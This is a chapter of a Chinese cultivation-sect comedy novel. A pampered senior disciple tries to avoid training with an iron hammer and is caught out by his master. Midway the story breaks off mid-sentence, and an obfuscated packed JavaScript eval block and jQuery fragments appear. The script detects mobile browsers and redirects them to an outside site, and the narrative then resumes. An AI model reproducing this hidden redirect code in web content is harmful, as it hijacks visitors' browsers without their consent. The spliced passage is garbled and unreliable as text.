11.第 11 章

作品:《师兄难养

    说曹操曹操到,松竹扛着那把六十斤的铁锤回来了,外面风铃声响,走进来的她道:“大师兄,铁锤带回来了,是要放在院子里还是……”


    辛观砚抬起的手就这么无力放了下去。


    他不敢看兢兢业业“纯良无害”的小师弟,含糊地说:“……啊,放在院子里吧,我待会儿用。”


    松竹一愣,不是准备给五师兄用的吗?她看了一眼五师兄,又看了一眼大师兄,隐约明白一点,便把铁锤放在外面了。


    仓禾荆看向门外,神色带着思索。


    辛观砚轻咳一声,特地转移了他的注意力,“那个啊,对了,五师弟……你叫什么名字来着?”


    “大师兄,我叫仓禾荆。”仓禾荆回头平静回复,一点也不意外对方没记住自己的名字。


    “哦,小荆。”


    辛观砚脸上露出十分虚浮的“亲和”笑意,试图让自己显得很有师兄的温和,但习惯高高在上的人,那笑脸再怎么“亲和”都显得假惺惺,像戴了一点都不合脸的面具。


    “站着做什么,快坐下来和师兄一起吃饭啊。”


    仓禾荆也不矫情,说了句“多谢大师兄”就坐下来了。


    辛观砚嘴角一抽。


    这小孩还真不客气。


    是的,小孩,在辛观砚眼里,这位新来的小师弟还是一个小孩,干干瘦瘦的,跟个竹竿一样,还是十五岁,比自己小两岁,可不就是一个小孩吗?


    两个人安静吃饭,中途辛观砚终于想起来自己作为大师兄该好好了解一下自己的师弟才是,于是学着师父逍遥散人和蔼地问仓禾荆道:“小荆,你家在哪儿呀?”


    “……在鱼塘县。”


    “鱼塘县,那是哪儿?”没听过。


    “薛州里的一个小县。”


    “薛州——”辛观砚觉得这个地方有些熟悉,认真想了想,“薛州……”


    “薛州……”他歪了歪脑袋。


    念了好几遍,终于明白这个地方为什么他会觉得熟悉了,辛观砚一时怔住,记了起来。薛州曾经是辛国管理的城池,原来也不叫薛州,而是叫楚州,只是在那场战争之后,被分配到了戚国的手里,戚国改楚为薛。


    假如辛国没灭亡,他还是辛国太子,没踏入修仙这条路的话,小师弟就是是他的子民。


    仓禾荆:“……”


    他难得被这大师兄的目光激得毛骨悚然了一下,浑身上下不对劲,这是什么眼神?


    “大师兄?”


    他虽从三师兄文元净的口中得知了大师兄辛国太子殿下的身份,却没什么感觉,可谓是冷漠至极。辛国灭亡的时间已经算得上久远了,再尊贵的身份,再不一般的过往都化为云烟。


    辛观砚这次看着这位小师弟的眼神真切带上两分柔和,像父亲母亲在看自己的孩子。


    虽然辛国早就没了,就连爹娘的尸骨都不知道去了哪里,但这位“太子殿下”自觉自己还活着,便要继承父亲母亲的遗志,于是在这么短暂的瞬间,他擅自把这个师弟划到了自己的圈里,在此刻的“大小姐”眼里,仓禾荆不仅是他的小师弟,还是他的子民。


    他得拿出父亲的温和与慈柔,母亲的严厉与威严来对待自己这位与众不同的小师弟。


    思索片刻,辛观砚伸出手,盖住了仓禾荆的脑袋,像摸猫猫狗狗的摸着小师弟那头黑发,嘴里道:“以后逍遥门大师兄罩你,除了我谁都不能欺负你。”


    “去,松竹,给小师弟再拿一盒糕点过来。”


    暗香袭来,仓禾荆无话可说。


    他觉得自己这位大师兄脑袋多多少少有点坑,只是生得太过貌美,让人只注意到他那张脸与不好伺候的恶劣,忽视那有点坑的脑袋。


    “怎么?”辛观砚眉头一挑,不高兴道:“莫非师弟不喜欢被我罩着?”


    倘若他真的还是那个太子殿下,那也是个脾气不怎么好的太子殿下,侥幸提前当了一国之君,那也个独断专行的“暴君”。


    对于这位宗门恶霸,仓禾荆自然是不能违背的,他也不能说其实整个宗门也没人欺负他,可能离开了他大师兄这个罩子,外面根本没雨。


    于是他只能虚伪乖巧恭维道:“多谢大师兄。”


    辛观砚满意了,收回手我行我素掏出帕子帕子擦了擦自己白皙漂亮的十指,毫不在意此举会不会惹得人勃然大怒,复又提着筷子往嘴里塞了一个虾,优雅无声地嚼吧嚼吧了两下,吞下去后还顺带指点了下他师弟厨艺,说不要偷懒,下次记得把虾去壳,那壳有点刺嘴巴。


    打的是一个不自知的气死人不偿命。


    好在在后爹家里的经历让仓禾荆忍耐力十足,不管如何气人的举动与语言,只要暂且不能反制,他都能微笑说好。


    吃完这顿孝敬饭,辛观砚就琢磨着怎么揭过让自己做贼心虚的事儿了,他先是揽了揽袖子,清了清嗓子,说准备要拿外面的铁锤训练一会儿,然后打发仓禾荆去给掌门送一本书,书也是他让松竹从自己书柜上随便抽的一本。


    只待仓禾荆离开,他便让松山把铁锤送回去,等仓禾荆回来时,他便已经训练好了,此计实在完美,无可挑剔。


    辛观砚想得很美——自己这小师弟还不会什么法术,也不会什么御剑飞行,从这里走到掌门居一个来回便要半个时辰,只等最外面的风铃响,他便让松竹往自己身上洒洒水,弄湿一下头发,营造出一直在训练的湿汗疲惫感,如此一来,小师弟压根不会怀疑那铁锤本来是给他用的。


    只可惜,人算不如天算。


    因为这个调虎离山计关键里的人物,也就是他的师父逍遥散人,悠悠然如一朵云彩伴随着风铃晃晃荡荡地飘来了平安峰。


    逍遥散人昨日放养徒弟后回去喝茶,没多久就听到五徒弟被大徒儿罚去寒水潭的事,他了解大徒儿,虽然任性、骄纵、懒惰、目中无人、肆意妄为、自恋自我了一些,但心里自有一杆秤,不会做出随便把人罚去寒水潭的事,打听完后他便猜到大概原因,偷偷去了寒水潭观察事态发展,顺便以防万一五徒弟真的出事,造成事态发展到无可挽回的地步。


    好在结果很好,他正要出手的时候,大徒儿就来了,亲眼看着大徒儿把人接走,逍遥散人这才放心回掌门居,今日盘算着时间又上了门,只是为了关心徒弟之间磨合得如何,绝不是因为想上门蹭饭,绝不是。


    看见师父,辛观砚便心知今日不顺,他伸手要拦仓禾荆,只平日里就是个慢吞吞懒散的性子,此刻也慢了一步,手里正拿着书的仓禾荆道:“师父,你来了,正好,大师兄托我给你送东西。”


    逍遥散人愣住:“送东西?送什么东西?”


    “一本书。”仓禾荆递出去,温驯垂首道:“大师兄说是一本心法。”


    “心法?”逍遥散人接过,打开一看,然后笑了,皮笑肉不笑地笑了。


    好个徒儿又作妖。


    只是不知道又做的什么妖。


    他从未见过第一页翻开就是:“话说丹州有一个秀才,姓周名同陈,因科考不顺屡次不中,便投于佛门做一个花花和尚……”的心法。


    辛观砚是让松竹拿的,也没自己看,不知松竹随意抽的一本是他前夜翻来覆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281210|181874||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去赏析的《春山庙野史》,他心想就算不是心法应该也是什么剑籍,影响不大,他还有招。


    “你大师兄怎么让你给我送这个?”


    仓禾荆把刚才辛观砚的话重复了一遍。


    “训练?铁锤?”逍遥散人语气古怪。


    他还不了解自己徒弟,这两个字和辛观砚压根搭不了边,每次一逼就说自己在梦里练过好久的剑了,梦是他自己的,谁也不知道他真练还是没练,反而借机理直气壮成日里呼呼大睡。


    他去外面看了一眼,还有什么不明白的,回头看向镇定自若的大徒弟,露出温和的神情慈爱道:“赶巧了,徒儿,如今为师已经拿到心法,正好看一下你训练,你也趁此指点你五师弟。”


    指点可以,训练不成。


    辛观砚摇身一变,扶住了松竹,弱不禁风道:“师父,我头疼……”


    “不碍事,为师会治头疼的咒语。”逍遥散人说,温声念出了那咒语,“话说丹州有一名秀才,姓周名同陈,因科考不顺……”


    辛观砚大惊失色:“我练!”


    你别念!


    逍遥散人微微一笑,“头不疼了?”


    辛观砚咬牙道:“仔细想想,也没那么疼,徒儿还能坚持。”


    身为师父的逍遥散人面露欣赏地点头,“好,不愧是我们逍遥门的首席,有觉悟有担当,”随即扭头对仓禾荆道:“小仓,来,随为师一起看你大师兄训练,学着点儿。”


    纵使满心不情愿,辛观砚还是让松竹重新给自己换了身衣裳,一步化三步如蜗牛般慢慢挪到院子里,那铁锤就那样放着,可想而知拿起来有多么不雅观,又有多么伤手。


    “师父——”他软着声音回头。


    “怎么了?观砚,可是头还疼着?”师父温声回应,“我这里有治头疼的良咒,疼的话为师给你念一遍。”


    见此计不成,辛观砚恨恨回头,看着地上的铁锤,恨不得一脚踢飞出去,他伸手想拿,又缩回去,几次之后,干脆站在那里跟木桩子似地死活不动。


    到了这里,仓禾荆已经大致确定,他这大师兄确实是一个废物花瓶了。


    他知道自己此时再不出口,后面要被这废物又懒惰的师兄记恨上,对方在那里直愣愣地站着时已经偷偷用眼风扫了他不下五次,每一次余光都分明写着——“你给我等着。”


    仓禾荆从一开始就知道他大师兄的算盘,本想顺着对方的意算了,但师父的突然到来让他改变了主意,他想借机试探一番大师兄的实力,奈何得到这个结果,令他失望。


    他站了出去,温和给那“大小姐”解围说:“以师兄的实力,拿这铁锤训练实在是小材大用,不如给我训练,师兄在旁指点我,师兄您看如何?”


    台阶递上,辛观砚岂有不踩之理?


    “咳……那……那好吧。”他露出“真拿你没办法”的神色,飞速窜到屋檐下,得意洋洋对师父道:“这可是小师弟要求的,你听见了吧师父?”


    逍遥散人摇了摇头,道:“小仓刚入宗门,你身为首席师兄,却日日懈怠跟个饭桶一样,只知道吃和睡,一点大师兄的样子都没有,你这样小仓怎么会服你,又怎么会看得起你这个首席师兄?”


    一语惊醒梦中人,辛观砚愣住。


    仓禾荆心里当然是瞧不起自己这个柔柔弱弱又还很能折腾的废物师兄的,但师父说出来,他却不能承认,当即否认道:“没有,我觉得师兄人很好。”


    是师兄人很好,而不是师兄很厉害。


    闻言,辛观砚当即怒了,决心展示自己大师兄的厉害。